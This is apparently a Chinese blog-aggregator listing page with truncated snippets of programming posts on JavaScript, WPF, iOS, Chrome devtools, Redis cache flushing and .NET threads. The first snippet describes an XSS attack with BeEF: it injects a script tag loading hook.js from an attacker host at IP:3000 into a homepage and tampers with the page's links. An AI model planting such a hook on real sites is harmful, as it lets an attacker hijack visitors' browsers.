启动beef和apache 修改主页,在网页中添加 <script src='http://IP:3000/hook.js'></script> xss漏洞利用 篡改网页a标签中的连接 <script> window.onload = function(){ var link = document. ...
分类:
其他好文 时间:
2020-07-11 12:33:13
阅读次数:
57
ylbtech-JavaScript-Runoob:JavaScript 输出 1.返回顶部 1、 JavaScript 输出 JavaScript 没有任何打印或者输出的函数。 JavaScript 显示数据 JavaScript 可以通过不同的方式来输出数据: 使用 window.alert() ...
分类:
编程语言 时间:
2020-07-11 10:02:59
阅读次数:
62
如图,一个 Rectangle 一个 Button ,点击按钮时要通过动画完成对 Rectangle填充色的渐变动画. Xaml: 1 <Window 2 x:Class="WpfApp1.MainWindow" 3 xmlns="http://schemas.microsoft.com/winfx ...
先说一下问题吧,今天遇到了一个奇怪的问题。一个界面通过消息通知刷新数据,断点跑了2次,感觉很奇怪。通过和公司小伙伴沟通发现是由于退出登录后再登录进去后发现此问题。我首先想到的就是此功能界面没有释放,但是查看界面处理没有特殊操作。里面想到就是因为切换rootViewController的时候原root ...
分类:
移动开发 时间:
2020-07-10 21:16:02
阅读次数:
144
今天学到了一个新的技巧,用鼠标点击 chrome dev tools 的 Elements 中的标签以后 ,使用 $0 就可以获取到鼠标所点击的 DOM 节点 然后总结一下 Dom Scroll 的 api。 常用的就是这几个。 $0.scrollBy(30, 30); $0.scrollTo(0, ...
分类:
其他好文 时间:
2020-07-10 15:42:44
阅读次数:
63
首先在cmd模式下进入redis的目录, 然后使用 redis-cli -p 7001(指定进入端口号为7901的redis数据库) 进入该端口的redis数据库之后有以下两种清空缓存的命令 1.清空当前redis数据库缓存FLUSHDB flushdb 2.清空整个redis缓存FLUSHALL ...
26.2 线程开销 内存占用 线程内核对象 拥有线程描述属性与线程上下文,线程上下文占用的内存空间为 x86 架构 占用 700 字节、x64 架构 1240 字节 、ARM 架构 350 字节。 线程环境块(TEB) TEB 消耗一个内存页,占用 4KB内存。 用户模式栈。 用户模式栈存储传递给方 ...
分类:
编程语言 时间:
2020-07-10 13:18:37
阅读次数:
74
在浏览器下编辑,习惯按住Ctrl+S键保存编辑内容。而网页的“ctrl + s”被默认为保存页面。 需要增加快捷保存方式 ctrl+s. $(window).keydown(function(event) { //alert( event.ctrlKey + ' ' + event.metaKey ...
分类:
其他好文 时间:
2020-07-10 11:39:44
阅读次数:
64
1.利用了正则表达式和三目运算符,含义就是如果是移动端打开的话那就跳转到 "https:www.baidu.com/" ,如果不是就跳转到"http://new.baidu.com/" window.location.href = /Android|webOS|iPhone|iPod|BlackBe ...
分类:
移动开发 时间:
2020-07-10 11:37:54
阅读次数:
96
Given a positive integer a, find the smallest positive integer b whose multiplication of each digit equals to a. If there is no answer or the answer i ...
分类:
其他好文 时间:
2020-07-10 09:57:57
阅读次数:
79